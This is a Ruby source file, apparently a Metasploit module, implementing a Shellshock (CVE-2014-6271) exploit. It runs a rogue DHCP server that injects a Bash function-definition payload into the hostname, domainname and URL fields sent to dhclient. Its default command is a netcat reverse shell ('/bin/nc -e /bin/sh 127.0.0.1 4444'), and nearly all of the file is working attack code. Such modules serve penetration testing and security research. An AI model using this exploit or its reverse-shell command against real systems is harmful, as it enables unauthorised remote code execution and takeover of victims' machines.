88 lines
2.5 KiB
Ruby
88 lines
2.5 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'rex/proto/dhcp'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::DHCPServer
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def initialize
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super(
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'Name' => 'DHCP Client Bash Environment Variable Code Injection (Shellshock)',
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'Description' => %q{
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This module exploits the Shellshock vulnerability, a flaw in how the Bash shell
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handles external environment variables. This module targets dhclient by responding
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to DHCP requests with a malicious hostname, domainname, and URL which are then
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passed to the configuration scripts as environment variables, resulting in code
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execution.
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},
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'Author' =>
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[
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'scriptjunkie', 'apconole[at]yahoo.com', # Original DHCP Server auxiliary module
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'Stephane Chazelas', # Vulnerability discovery
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'Ramon de C Valle' # This module
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],
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'License' => MSF_LICENSE,
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'Actions' =>
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[
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[ 'Service' ]
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],
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'PassiveActions' =>
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[
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'Service'
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],
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'DefaultAction' => 'Service',
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'References' => [
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[ 'CVE', '2014-6271' ],
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[ 'CWE', '94' ],
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[ 'OSVDB', '112004' ],
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[ 'EDB', '34765' ],
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[ 'URL', 'https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/' ],
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[ 'URL', 'https://seclists.org/oss-sec/2014/q3/649' ],
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[ 'URL', 'https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/' ]
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],
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'DisclosureDate' => 'Sep 24 2014',
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'Notes' =>
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{
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'AKA' => ['Shellshock']
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}
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)
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register_options(
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[
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OptString.new('CMD', [ true, 'The command to run', '/bin/nc -e /bin/sh 127.0.0.1 4444'])
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])
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deregister_options('DOMAINNAME', 'HOSTNAME', 'URL')
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end
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def run
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value = "() { :; }; PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin #{datastore['CMD']}"
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hash = datastore.copy
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hash['DOMAINNAME'] = value
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hash['HOSTNAME'] = value
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hash['URL'] = value
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# This loop is required because the current DHCP Server exits after the
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# first interaction.
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loop do
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begin
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start_service(hash)
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while @dhcp.thread.alive?
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select(nil, nil, nil, 2)
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end
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rescue Interrupt
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break
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ensure
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stop_service
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end
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end
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end
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end
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